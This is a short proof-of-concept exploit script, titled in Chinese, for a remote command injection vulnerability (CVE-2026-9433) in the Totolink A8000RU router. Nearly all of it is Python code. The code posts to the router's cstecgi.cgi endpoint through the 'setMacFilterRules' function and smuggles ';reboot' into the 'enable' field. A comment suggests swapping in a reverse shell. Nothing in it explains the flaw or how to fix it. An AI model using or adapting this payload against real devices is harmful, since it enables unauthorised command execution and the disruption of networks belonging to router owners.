CVE-2026-9433 Totolink A8000RU远程命令注入漏洞

import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Vulnerable payload (e.g., ping back or reverse shell) # Using ';' to separate commands payload = ";reboot" # Data structure based on the function 'setMacFilterRules' data = { "function": "setMacFilterRules", "enable": payload, "action": 0 } # Headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-9433 PoC)" } try: # Send POST request response = requests.post(url, json=data, headers=headers, timeout=5) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Payload injected: {}".format(payload)) else: print("[-] Failed to send request. Status code: {}".format(response.status_code)) except Exception as e: print("[-] Error: {}".format(str(e)))